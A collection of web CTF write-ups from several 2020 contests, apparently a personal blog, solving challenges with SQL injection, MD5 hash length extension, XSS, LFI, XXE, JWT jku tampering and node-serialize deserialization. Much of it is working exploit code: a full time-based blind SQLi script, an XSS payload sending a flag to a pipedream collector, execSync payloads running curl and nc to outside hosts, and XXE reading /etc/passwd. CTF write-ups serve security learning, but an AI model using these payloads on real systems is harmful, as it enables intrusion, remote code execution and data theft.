    q = """SELECT IF((SELECT ELT(BIT_LENGTH(BIN(12))/32, BINARY(RTRIM(CONCAT(REVERSE(repeat(SUBSTR(REGEXP_REPLACE(HEX(weight_string(TRIM(UCASE(TO_BASE64((SELECT CONCAT((SELECT n FROM FLAG WHERE id LIKE '20'), (SELECT n FROM FLAG where id IN ('50', '51', SUBSTR('121', 2, 2)))))))))), 'D', 'A'), -16, 16), 1)), (SELECT SPACE(6))))))) = CONCAT_WS('00','A3','43','75','A4',''), "TRUE", "FALSE")"""
    curs.execute(q)
    rows = curs.fetchall()
    return "TRUE" in repr(rows[0].values())

success = []
for a in candid:
    for b in candid:
        print (a,b)
        curs.execute("update FLAG set n='{}' where id=20".format(a))
        curs.execute("update FLAG set n='{}' where id=21".format(b))
        conn.commit()
        # sys.exit()
        if chk():
            print ("COOL", a,b)
            success.append((a,b))

assert len(success) > 0
print ("WOWW")
print (success)

 

Fortunately, I've got the right flag.

The flag is X-MAS{Wooat???_4_VM_1n_My_SQL???_mnohijkd}

Web - Cat clicker

Hint indicates, the server project is managed by git. jeongwon jo leaked the server source code with accessing git repository.

The server does not store the data how many can cat the client have, like jwt just check the data and signature to verify integrity.

Checking server side code, the server using md5 based hmac with 64byte random key.

<?php

function hashFor($state) {
	$secret = getenv("SECRET_THINGY"); // 64 random characters - impossible to guess
	$s = "$secret | $state";
	return md5($s);
}


function verifyState($state, $hash) {
	return $hash === hashFor($state);
}


function getCatsNo($state) {
	$arr = explode(" | ", $state);
	return intval(end($arr));
}


function getParentsLimit($state) {
	$arr = explode(" | ", $state);
	return intval(reset($arr));
}

?>%

The signature format is like "secret | 12 | 0".

md5 function is vulnerable to hash length extension attack. So, appending some value, we can get the flag.

I used hashpump to make fake data and signature.

 

$ hashpump -s "cf13ab76afb625f7f7d6c539c2cb3c84" --data " | 12 | 0" -a " | 13" -k 64
c28217c17f102d42d1b4a0ab33ec10a3
 | 12 | 0\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00H\x02\x00\x00\x00\x00\x00\x00 | 13

I tried several times because of encoding issue. I used x-www-form-urlencoded format, because multipart/enc type doesn't work well, I don't know why.

Following it the request.

POST /api/buy.php HTTP/1.1
Host: challs.xmas.htsp.ro:3003
Content-Length: 236
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://challs.xmas.htsp.ro:3003
Referer: http://challs.xmas.htsp.ro:3003/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=b8ki90aas9s32lr01s410mm5kf
Connection: close

state=12%20|%200%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00H%02%00%00%00%00%00%00%20|%2013&hash=c28217c17f102d42d1b4a0ab33ec10a3&item_id=2

Response is like below.

HTTP/1.1 200 OK
Server: nginx
Date: Thu, 17 Dec 2020 10:19:55 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
Content-Length: 176

{"state":"12 | 1337","hash":"52586134e945c681089af25c36a1866f","success":true,"item":"X-MAS{1_h4v3_s0_m4ny_c4t5_th4t_my_h0m3_c4n_b3_c0ns1d3r3d_4_c4t_sh3lt3r_aaf30fcb4319effa}"}

Web - Comfort bot

It provides source code. Analyzing from input to deep, there is xss injection point with webdriver.

Webdriver is a kind of web browser controller, can be used with various objectives like crawling.

responseEngine/cleverbot/driver.py

import time, string, asyncio
from selenium import webdriver
from selenium.webdriver.chrome.options import Options

windows = {}

def createCleverDriver ():
	global driver

	print("create1")
	chrome_options = Options()
	chrome_options.add_argument ("--headless")
	chrome_options.add_argument ("--no-sandbox")
	chrome_options.add_argument ("--disable-dev-shm-usage")
	chrome_options.binary_location = "/usr/bin/chromium"
	driver = webdriver.Chrome (executable_path = "/chall/chromedriver", options = chrome_options)
	print("create2")

def switchToAuthorWindow(authorID):
	driver.switch_to_window(windows[authorID])

async def getCleverResponse (authorID, txt):
	global driver

	try:
		driver.execute_script("window.open('http://localhost/','_blank');")
		windows[authorID] = driver.window_handles[-1]
		switchToAuthorWindow(authorID)
		
		script = "cleverbot.sendAI('{0}')".format (txt)
		driver.execute_script (script)
		while (driver.execute_script ("return cleverbot.aistate") != 0):
			await asyncio.sleep (0.4)
			switchToAuthorWindow(authorID)

		reply = driver.execute_script ("return cleverbot.reply")
		switchToAuthorWindow(authorID)
		driver.execute_script("window.close()")
		driver.switch_to_window(driver.window_handles[0])
		return reply
	except:
		CreateCleverDriver ()

In getCleverResponse function, second parameter named "txt" is user(attacker) controllable variable.

Building executable javascript code, there is no xss sanitization, so we can execute attacker controllable javascript in web driver browser.

The flag is located in localhost/flag, let's fetch the flag and send to my custom server!

My payload is following

!');fetch('http://localhost/flag').then(function(res){return res.text()}).then(r=>fetch('https://b7212f259517d27982dd364ea7830745.m.pipedream.net/'+btoa(r)));('

We've got the message from server successfully!

Base 64 decoded flag is above.

I tried hack.lu ctf 2020 several easy-web challs. There are write-ups.

FluxCloudFluxCloud Serverless (1.0 and 2.0)

I tried both challenge with same solution. I think I first found solution for 2.0, it also worked to 1.0 version challenge.

It provides node.js server source code.

 

There are a few files in zip file. I carefully audited the code.

In this code, the flag is returned by router.get('/flag');

But it is not that simple, because to reach that app.js code, we should passthrough the serverless/index.js router.

router for /:deploymentId/ handles deploymentRouter and then do waf, after then do app function.

 

But there is interesting concept, that is the billing system.

the app function and waf function is wraped by billed function. billed function is defined in serverless/billing.js

billed function check if the money in account is sufficient to pay the cost for traffic. 

When the demo server created, the virtual account is goes up, with some money. Everytime the billed function is called, the money reduces. I didn't audit that code exactly, maybe the money of deployment server is stored in database implemented by redis. 

The account for waf and for app is different. If I can make deplete only account for WAF, not app, the waf is disabled, then I can access the flag!

 

Taking advantage of try-catch phrase in serverless/index.js /:deploymentId/ router, I tried to trigger exception in waf function.

Auditing waf.js code, it checks multiple encoded url and body with recursive function. With too much call of recursive function call, the stack overflow will be triggered. So, I made a HTTP request a thousands of encoded string like %25252525252525.

If the error in serverside occurs, the response is "rip". I tried that request more times to exhaust ACCOUNT_SECURITY to suppress waf functionality.

Finding response header, X-Billing-Account exists. It means, ACCOUNT_SECURITY deposit is bankrupt.

Let's try to access flag!

Cool.

2.0 version chall could be beated with same solution.

web - Confession

Client send graphql query to server. I googled graphql vulenerabilities.

medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696

 

GraphQL — Common vulnerabilities & how to exploit them

Hello there! how you doin? , Bilal Rizwan here & I hope everyone is safe in this time of crisis and making complete use of your…

medium.com

I tried introspect query to server.

The response tells me something.

I checkd the response carefully.

Then I found there is the schema object named accessLog with properties name, args, timestamp. So I tried graphql for fetch that data.

(id in variable field is random value)

I can get a bunch of accessLogs. There are some hash values.

 

I treid to decyprt sha256 hash from online sha256 decryptor. 

The first one was "f", the second one was "fl", the third is "fla", and fourth is "flag".

There are no more sha256 database to decrypt more hashes.

I wrote simple script to get full flag.

#!/usr/bin/env python3

import string
import hashlib
candid = string.printable
flag = "flag"
hashes = """0577f6995695564dbf3e17ef36bf02ee73ba10ab300caf751315615e0fc6dd37
9271dd87ec1a208d1a6b25f8c4e3b21e36c75c02b62fafc48cf1327bac220e48
95f5e39cb28767940602ce3241def53c42d399ae1daf086c9b3863d50a640a81
62663931ff47a4c77e88916d96cad247f6e2c352a628021a1b60690d88625d75
5534607d1f4ee755bc11d75d082147803841bc3959de77d6159fca79a637ac77
52a88481cc6123cc10f4abb55a0a77bf96d286f457f6d7c3088aaf286c881b76
7ffcb9b3a723070230441d3c7aee14528ca23d46764c78365f5fdf24d0cdef53
532e4cecd0320ccb0a634956598c900170bd5c6f1f22941938180fe719b61d37
a4b24c8f4f14444005c7023e9d2f75199201910af98aaef621dc01cb6e63f1d1
1092c20127f3231234eadf0dd5bee65b5f48ffbdc94e5bf928e3605781a8c0d1
1e261929cc13a0e9ecf66d3e6508c14b79c305fa10768b232088e6c2bfb3efa3
0bb629dfb5bf8a50ef20cfff123756005b32a6e0db1486bd1a05b4a7ddfd16c7
0141c897af69e82bc9fde85a4c99b6e693f6eb390b9abdeda4a34953f82efa4b
c20ee107ba4d41370cc354bb4662f3efb6b7c14e7b652394aaa1ad0341e4a1c9
d6b977c1deb6179c7b9ac11fb2ce231b100cf1891a1102d02d8f7fbea057b8a0
fb7dc9b1be6477cea0e23fdc157ff6b67ce075b70453e55bb22a6542255093f1
70b652dad63cabed8241c43ba5879cc6d509076f778610098a20154eb8ac1b89
26f4fc4aba06942e5e9c5935d78da3512907fe666e1f1f186cf79ac14b82fcad
c31c26dbbcf2e7c21223c9f80822c6b8f413e43a2e95797e8b58763605aaca0d
eb992e46fb842592270cd9d932ba6350841966480c6de55985725bbf714a861d
c21af990b2bd859d99cfd24330c859a4c1ae2f13b0722962ae320a460c5e0468
ebf2b799b6bf20653927092dae99a6b0fc0094abc706ca1dce66c5d154b4542d
07a272d52750c9ab31588402d5fb8954e3e5174fcab9291e835859a5f8f34cf9
5a047cba5d6e0cf62d2618149290180e1476106d71bd9fdb7b1f0c41437c2ff5""".split("\n")

def hash(v):
    return hashlib.sha256(v.encode()).hexdigest()

for hashval in hashes:
    for c in candid:
        if hash(flag + c) == hashval:
            flag += c
            print (flag)
            break
print ("Flag is " + flag)

The flag is flag{but_pls_d0nt_t3ll_any1}

The only problem I solved in n1ctf 2020 is web-SignIn, the easiest web chall.

Approach

It provided us the source code without some details.

<?php 
class ip {
    public $ip;
    public function waf($info){
    }
    public function __construct() {
        if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
            $this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
        }else{
            $this->ip =$_SERVER["REMOTE_ADDR"];
        }
    }
    public function __toString(){
        $con=mysqli_connect("localhost","root","********","n1ctf_websign");
        $sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
        if(!mysqli_query($con,$sqlquery)){
            return mysqli_error($con);
        }else{
            return "your ip looks ok!";
        }
        mysqli_close($con);
    }
}

class flag {
    public $ip;
    public $check;
    public function __construct($ip) {
        $this->ip = $ip;
    }
    public function getflag(){
    	if(md5($this->check)===md5("key****************")){
    		readfile('/flag');
    	}
        return $this->ip;
    }
    public function __wakeup(){
        if(stristr($this->ip, "n1ctf")!==False)
            $this->ip = "welcome to n1ctf2020";
        else
            $this->ip = "noip";
    }
    public function __destruct() {
        echo $this->getflag();
    }

}
if(isset($_GET['input'])){
    $input = $_GET['input'];
	unserialize($input);
} 
  

Mysql database password and key value are blurred. We can guess what we should do is to get the key code.

We can execute mysql query by triggering __toString function in ip class. The stristr may internally trigger __toString function of $this->ip. By providing ip object in flag's member variable "$ip", we can trigger the SQL query.

Error based SQL Injection

I think, if I can make mysql error message with string "n1ctf", we can get feedback "welcome to n1ctf2020", otherwise, "noip". So, I tried hard to get custom error message, to Blind SQL Injection.

Just triggering error message is not difficult, but triggering error message up to result of SQL subquery was very hard. So, I surrender to do that, I tried another approach.

Time based SQL Injection

Some keywords are filtered by server. Below 3 are obviously filtered keywords

- sleep

- benchmark

- count

Also, I thought the comment meta char like - and # are filtered also.

Because of limited debugging environment, I should guess the server filter keywords with a little information.

 

Conventional Time based SQLi gadgets are all blocked, I tried another approch, the heavy query.

Insert into n1ip query repeates many times, thus, just lookup the table takes some times.

Limits

Because of many call of heavy queries, server downed repeatedly. I tried hard time to endure that phase. If there is more sophisticated exploit like error based attack, please let me know with comments!

 

Exploit

From fetching table schema where the key located, to get the key from the database.

Insert key value to $flag->check, you can get the real flag.

#!/usr/bin/env python3
import requests
import sys

url = """http://101.32.205.189/?input=O:4:"flag":2:{s:2:"ip";O:2:"ip":1:{s:2:"ip";s:9:"127.0.0.1";}s:5:"check";N;}"""

headers = {
    "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36",
}

def query(payload):
    global headers
    headers["X-Forwarded-For"] = payload
    try:
        response = requests.get(url, headers=headers, timeout=1.5)
    except requests.exceptions.ReadTimeout:
        print ("Time out!! 1.5")
        return False
    seconds = response.elapsed.total_seconds()
    # print (response.text)
    if "hackhack" in response.text:
        print ("Keyword filtered!")
    print (seconds)
    return True

print (query("Hello"))
heavyQuery = "select sum(A.time)from n1ip A, n1ip B"
print (query("asdf',({})),('a".format(heavyQuery)))

# sys.exit()

def db_name_length():
    left = 0
    right = 50
    #[left, right)
    while left + 1 < right:
        mid = (left+right)//2
        print ('querying {} {} {}'.format(left, mid, right))
        if query("asdf',IF((length(database())>={}),'1',(select sum(A.time)from n1ip A))),('a".format(mid)):
            left = mid
        else:
            right = mid
    return left
def table_list_length():
    left = 0
    right = 100
    #[left, right)
    while left + 1 < right:
        mid = (left+right)//2
        print ('querying {} {} {}'.format(left, mid, right))
        if query("asdf',IF((select length((GROUP_CONCAT((TABLE_NAME))))>={} from information_schema.tables where table_schema='n1ctf_websign'),'1',(select sum(A.time)from n1ip A))),('a".format(mid)):
            left = mid
        else:
            right = mid
    return left
def table_list_char(len):
    res = ""
    for i in range(1,len+1):
        left = 0
        right = 256
        #[left, right)
        while left + 1 < right:
            mid = (left+right)//2
            print ('querying {} {} {}'.format(left, mid, right))
            if query("asdf',IF((select ascii(substr((GROUP_CONCAT((TABLE_NAME))),{},1))>={} from information_schema.tables where table_schema='n1ctf_websign'),'1',(select sum(A.time)from n1ip A))),('a".format(i, mid)):
                left = mid
            else:
                right = mid
        res += chr(left)
        print (res)
    return res
def get_col_len():
    left = 0
    right = 100
    #[left, right)
    while left + 1 < right:
        mid = (left+right)//2
        print ('querying {} {} {}'.format(left, mid, right))
        if query("asdf',IF((select length(GROUP_CONCAT(COLUMN_NAME))>={} from information_schema.columns where table_schema='n1ctf_websign' and table_name='n1key'),'1',(select sum(A.time)from n1ip A))),('a".format(mid)):
            left = mid
        else:
            right = mid
    return left
def get_cols(len):
    res = ""
    for i in range(1,len+1):
        left = 0
        right = 256
        #[left, right)
        while left + 1 < right:
            mid = (left+right)//2
            print ('querying {} {} {}'.format(left, mid, right))
            if query("asdf',IF((select ascii(substr((GROUP_CONCAT((COLUMN_NAME))),{},1))>={} from information_schema.columns where table_schema='n1ctf_websign' and table_name='n1key'),'1',(select sum(A.time)from n1ip A))),('a".format(i, mid)):
                left = mid
            else:
                right = mid
        res += chr(left)
        print (res)
    return res
def get_key_len():
    left = 0
    right = 100
    #[left, right)
    while left + 1 < right:
        mid = (left+right)//2
        print ('querying {} {} {}'.format(left, mid, right))
        # if query("asdf',IF((select length(`key`)>={} from n1key limit 1),'1',({})),('a".format(mid, heavyQuery)):
        if query("asdf',IF((select length(GROUP_CONCAT(`key`))>={} from n1key limit 1),'1',({})),('a".format(mid, heavyQuery)):
            left = mid
        else:
            right = mid
    return left
def get_key(len):
    res = ""
    for i in range(1,len+1):
        left = 0
        right = 256
        #[left, right)
        while left + 1 < right:
            mid = (left+right)//2
            print ('querying {} {} {}'.format(left, mid, right))
            # if query("asdf',IF((select ascii(substr(`key`)),{},1))>={} from n1key limit 1),'1',({}))),('a".format(i, mid, heavyQuery)):
            if query("asdf',IF((select ascii(substr((GROUP_CONCAT((`key`))),{},1))>={} from n1key limit 1),'1',({}))),('a".format(i, mid, heavyQuery)):
                left = mid
            else:
                right = mid
        res += chr(left)
        print (res)
    return res
# print ("db_name_length = {}".format(db_name_length())) #for query validation check
# table_list_length = 9
# table_length = table_list_length()
# print ("table_list_length = {}".format(table_length))
# table_string = "n1ip,n1key"
# table_string = table_list_char(table_length)
# print ("table_string = {}".format(table_string))
# col_len = get_col_len()
# print ("col_len = {}".format(col_len))
# cols = get_cols(col_len)
# cols = "id/key"
# print ("cols = {}".format(cols))
key_len = get_key_len()
print("key_len = {}".format(key_len))
key = get_key(key_len)
print ("key = {}".format(key))

"""
key length는 왜인지 모르겟는데 제대로 못가져옴.
key값은

n1ctf20205bf75ab0a30dfc0c
길이 25
"""

Agent 95

https://developers.whatismybrowser.com/useragents/parse/2520-internet-explorer-windows-trident

I googled windows 95 IE user agent. I set that on user-agent http header.

 

flag{user_agents_undercover}

 

Localghost

Auditing HTML code.

It is suspicious that there are two kinds of jquery library. Let's sneak into the second one which is not from CDN.

 

Let's dump the local variable _0xbcec

There is suspicious value right after string 'flag'. Let's base64 decode that.

 

Gotcha!

Phphonebook

http://jh2i.com:50002/phphonebook.php

http://jh2i.com:50002/index.php?file=php://filter/convert.base64-encode/resource=phphonebook.php

It seems LFI vulnerability. I used php filter to leak the php code with base64 encoding.

Let's decode base64 string.

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Phphonebook</title>
    <link href="main.css" rel="stylesheet">
  </head>

  <body class="bg">
    <h1 id="header"> Welcome to the Phphonebook </h1>

    <div id="im_container">

      <img src="book.jpg" width="50%" height="30%"/>

      <p class="desc">
      This phphonebook was made to look up all sorts of numbers! Have fun...
      </p>

    </div>
<br>
<br>
    <div>
      <form method="POST" action="#">
        <label id="form_label">Enter number: </label>
        <input type="text" name="number">
        <input type="submit" value="Submit">
      </form>
    </div>

    <div id="php_container">
    <?php
      extract($_POST);

    	if (isset($emergency)){
    		echo(file_get_contents("/flag.txt"));
    	}
    ?>
  </div>
  </br>
  </br>
  </br>


<div style="position:fixed; bottom:1%; left:1%;">
<br><br><br><br>
<b> NOT CHALLENGE RELATED:</b><br>THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!
<p>
<img width=600px src="https://d24wuq6o951i2g.cloudfront.net/img/events/id/457/457748121/assets/f7da0d718eb77c83f5cb6221a06a2f45.inti.png">
</p>
</div>

  </body>
</html>

With extract function, if POST body parameter named emergency exists, you can get the flag.

flag{phon3_numb3r_3xtr4ct3d}

https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/

 

Official Business

I tried sqli but it not worked...

I just guessed to navigate /robot.txt

what the?!

 

 

#!/usr/bin/env python3

from flask import (
    Flask,
    render_template,
    request,
    abort,
    redirect,
    make_response,
    g,
    jsonify,
)
import binascii
import hashlib
import json

app = Flask(__name__)
app.secret_key = open("secret_key", "r").read().strip()
FLAG = open("flag.txt", "r").read().strip()


def do_login(user, password, admin):

    cookie = {"user": user, "password": password, "admin": admin}
    cookie["digest"] = hashlib.sha512(
        app.secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii")
    ).hexdigest()

    response = make_response(redirect("/"))
    response.set_cookie("auth", binascii.hexlify(json.dumps(cookie).encode("utf8")))

    return response


@app.route("/login", methods=["POST"])
def login():

    user = request.form.get("user", "")
    password = request.form.get("password", "")

    if (
        user != "hacker"
        or hashlib.sha512(bytes(password, "ascii")).digest()
        != b"hackshackshackshackshackshackshackshackshackshackshackshackshack"
    ):
        return abort(403)
    return do_login(user, password, True)


def load_cookie():

    cookie = {}
    auth = request.cookies.get("auth")
    if auth:

        try:
            cookie = json.loads(binascii.unhexlify(auth).decode("utf8"))
            digest = cookie.pop("digest")

            if (
                digest
                != hashlib.sha512(
                    app.secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii")
                ).hexdigest()
            ):
                return False, {}
        except:
            pass

    return True, cookie


@app.route("/logout", methods=["GET"])
def logout():

    response = make_response(redirect("/"))
    response.set_cookie("auth", "", expires=0)
    return response


@app.route("/")
def index():

    ok, cookie = load_cookie()
    if not ok:
        return abort(403)

    return render_template(
        "index.html",
        user=cookie.get("user", None),
        admin=cookie.get("admin", None),
        flag=FLAG,
    )


@app.route("/robots.txt")
def source():
    return "
" + open(__file__).read() + "
"


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=1337)

Auditing the source code, login process pass is impossible.

but, we can bypass the load_cookie() function.

in try except statement, let's evoke the error then we got the valid return value.

If there is no field named 'digest' in cookie, in load_cookie function, cookie.pop("digest") statement will evoke error. But, because of try-except block, it will escape from the procedure, just return the True value. It is simple implementation logic bug about that.

 

import json
import binascii
d = {}
d['user'] = 'admin'
d['admin'] = 'admin'
print (binascii.hexlify(json.dumps(d).encode('utf8'))
b'7b2275736572223a202261646d696e222c202261646d696e223a202261646d696e227d'

set the cookie auth=7b2275736572223a202261646d696e222c202261646d696e223a202261646d696e227d;

and do request to the / endpoint.

flag{did_this_even_pass_code_review}

Seriously

 

I tried to register by admin/admin, MongoDB error occured.

 

I joined with guest/guest

Session is JWT based. It uses RS256.

There is the function add to cart, the cart data is stored in cookie.

 

 

Checkout function is disabled.

Server stack seems Express.js + mongodb.

 

I could evoke error on /cart page.

Invalid cart cookie value can occur error on server side.

document.cookie='cart='+encodeURIComponent(btoa('{"items":{"0":{"price":64.99,"count":1},"length": 5}}'))+';'

 

https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf

I refered the document about node-serialize module RCE vulnerability.

var y = {
rce : function(){
require('child_process').execSync('ls');
	},
}
var serialize = require('node-serialize');
var ser = serialize.serialize(y);
console.log("Serialized: \n" + ser);

var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').execSync(\'curl https://enjm0grb1zb3c.x.pipedream.net/hello\');}()"}';
serialize.unserialize(payload)
encodeURIComponent(btoa('{"items":{"0":{"name":"{{flag}}","price":64.99,"count":1}}}'))
document.cookie='cart='+encodeURIComponent(btoa('{"items":{"0":{"price":64.99,"count":1},"length": 5}}'))+';'

document.cookie='cart='+encodeURIComponent(btoa('{"items":[{"price":64.99,"count":1}, {"name":"second"}]}'))+';'

document.cookie='cart='+encodeURIComponent(btoa('{"items":[{"name":{},"price":64.99,"count":1}, {"name":"second"}]}'))+';'

document.cookie='cart='+encodeURIComponent(btoa('{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').execSync(\'ls\');}()"}'))+';'

Server crashes...

 

document.cookie='cart='+encodeURIComponent(btoa('{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').execSync(\'nc 54.180.159.248 56628\');}()"}'))+';'

{"error":null,"cmd":"nc 54.180.159.248 56628","file":"/bin/sh","args":["/bin/sh","-c","nc 54.180.159.248 56628"],"options":{"shell":true,"file":"/bin/sh","args":["/bin/sh","-c","nc 54.180.159.248 56628"],"envPairs":["exit_code=1","node_version=8.10.0","versioning=null","version=0.0.0","unstable_restarts=0","restart_time=57","pm_id=0","created_at=1591982296039","axm_dynamic=[object Object]","axm_options=[object Object]","axm_monitor=[object Object]","axm_actions=","pm_uptime=1591985740672","status=launching","unique_id=3ef3b019-03e0-4c97-8223-b2bf1f548f8b","PM2_HOME=/root/.pm2","HOSTNAME=7f0fdfe4e631","HOME=/home/user","OLDPWD=/home/user","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","PWD=/home/user","PM2_USAGE=CLI","PM2_INTERACTOR_PROCESSING=true","NODE_APP_INSTANCE=0","vizion_running=false","km_link=false","pm_pid_path=/root/.pm2/pids/www-0.pid","pm_err_log_path=/root/.pm2/logs/www-error.log","pm_out_log_path=/root/.pm2/logs/www-out.log","instances=1","exec_mode=fork_mode","exec_interpreter=node","pm_cwd=/home/user","pm_exec_path=/home/user/bin/www","node_args=","name=www","filter_env=","namespace=default","env=[object Object]","merge_logs=true","vizion=true","autorestart=true","watch=false","instance_var=NODE_APP_INSTANCE","pmx=true","automation=true","treekill=true","username=root","uid=1000","gid=1000","windowsHide=true","kill_retry_time=100"],"stdio":[{"type":"pipe","readable":true,"writable":false},{"type":"pipe","readable":false,"writable":true},{"type":"pipe","readable":false,"writable":true}]},"envPairs":["exit_code=1","node_version=8.10.0","versioning=null","version=0.0.0","unstable_restarts=0","restart_time=57","pm_id=0","created_at=1591982296039","axm_dynamic=[object Object]","axm_options=[object Object]","axm_monitor=[object Object]","axm_actions=","pm_uptime=1591985740672","status=launching","unique_id=3ef3b019-03e0-4c97-8223-b2bf1f548f8b","PM2_HOME=/root/.pm2","HOSTNAME=7f0fdfe4e631","HOME=/home/user","OLDPWD=/home/user","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","PWD=/home/user","PM2_USAGE=CLI","PM2_INTERACTOR_PROCESSING=true","NODE_APP_INSTANCE=0","vizion_running=false","km_link=false","pm_pid_path=/root/.pm2/pids/www-0.pid","pm_err_log_path=/root/.pm2/logs/www-error.log","pm_out_log_path=/root/.pm2/logs/www-out.log","instances=1","exec_mode=fork_mode","exec_interpreter=node","pm_cwd=/home/user","pm_exec_path=/home/user/bin/www","node_args=","name=www","filter_env=","namespace=default","env=[object Object]","merge_logs=true","vizion=true","autorestart=true","watch=false","instance_var=NODE_APP_INSTANCE","pmx=true","automation=true","treekill=true","username=root","uid=1000","gid=1000","windowsHide=true","kill_retry_time=100"],"stderr":{"type":"Buffer","data":[47,98,105,110,47,115,104,58,32,49,58,32,110,99,58,32,110,111,116,32,102,111,117,110,100,10]},"stdout":{"type":"Buffer","data":[]},"pid":736,"output":[null,{"type":"Buffer","data":[]},{"type":"Buffer","data":[47,98,105,110,47,115,104,58,32,49,58,32,110,99,58,32,110,111,116,32,102,111,117,110,100,10]}],"signal":null,"status":127}

 

Code execution seems occured.

But we cannot get the standard output.

But we can get standard error.

We should evoke the error.

Let's decode stderr value with python.

document.cookie='cart='+encodeURIComponent(btoa('{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').execSync(\'`pwd`\');}()"}'))+';'
>>> def decode(a):
...     return ''.join(list(map(chr, a)))
...
>>> decode([47,98,105,110,47,115,104,58,32,49,58,32,110,99,58,32,110,111,116,32,102,111,117,110,100,10])
'/bin/sh: 1: nc: not found\n'
>>> decode([47,98,105,110,47,115,104,58,32,49,58,32,83,121,110,116,97,120,32,101,114,114,111,114,58,32,69,79,70,32,105,110,32,98,97,99,107,113,117,111,116,101,32,115,117,98,115,116,105,116,117,116,105,111,110,10])
'/bin/sh: 1: Syntax error: EOF in backquote substitution\n'
>>> decode([47,98,105,110,47,115,104,58,32,49,58,32,47,104,111,109,101,47,117,115,101,114,58,32,80,101,114,109,105,115,115,105,111,110,32,100,101,110,105,101,100,10])
'/bin/sh: 1: /home/user: Permission denied\n'

To get the feed back the command should evoke error.

Let's do with backtick ` to do bash subcommand.

`pwd` ⇒ /home/user

`ls` ⇒ app.js

`ls /` ⇒ bin

`ls | base64` ⇒

 

document.cookie='cart='+encodeURIComponent(btoa('{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').execSync(\'`cat flag.txt`\');}()"}'))+';'

 

flag{seriously_deserialization_with_plants}

Extraterrestrial

딱봐도 XXE문제같다.

It is obviously XXE challenge.

https://gracefulsecurity.com/xxe-cheatsheet-xml-external-entity-injection/

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>

<message>&ent;</message>

Result

array(1) {
  ["ent"]=>
  string(926) "root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
"
}

Let's read /flag.txt

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///flag.txt"> ]>

<message>&ent;</message>

 

flag{extraterrestrial_extra_entities}

Rejected Sequel

It seems to be sql injection problem.

select * from table where name like "%{input}%"

Whitespace seems to be filtered. Let's substitute the space with /**/ string.

 

flag{at_least_this_sequel_got_published}

Fake File

 

flag{we_should_have_been_worried_about_u2k_not_y2k}

Alkatraz

https://twpower.github.io/155-use-file-or-command-ouput-in-while-loop

https://gist.github.com/PSJoshi/04c0e239ac7b486efb3420db4086e290

 

flag{congrats_you_just_escaped_alkatraz}

Flag Jokes

It seems to problem about cookie(JWT)

JWT를 쓴다. 디코딩해보자.

 

{
  "alg": "RS256",
  "jku": "http://localhost:5000/static/jwks.json",
  "kid": "sqcE1a9gj9p08zNMR1MWbLLvuaPyUeJEsClBhy7Q4Jc"
}

SSRF?!

Let's insert some url to jwt header.

 

document.cookie=encodeURIComponent="token=" + ([btoa('{"alg": "RS256","jku": "https://ene9h9dntn4f.x.pipedream.net/jwks.json","kid":"sqcE1a9gj9p08zNMR1MWbLLvuaPyUeJEsClBhy7Q4Jc"}'), btoa('{"username":"eins"}'), '123'].join('.')) + ";"

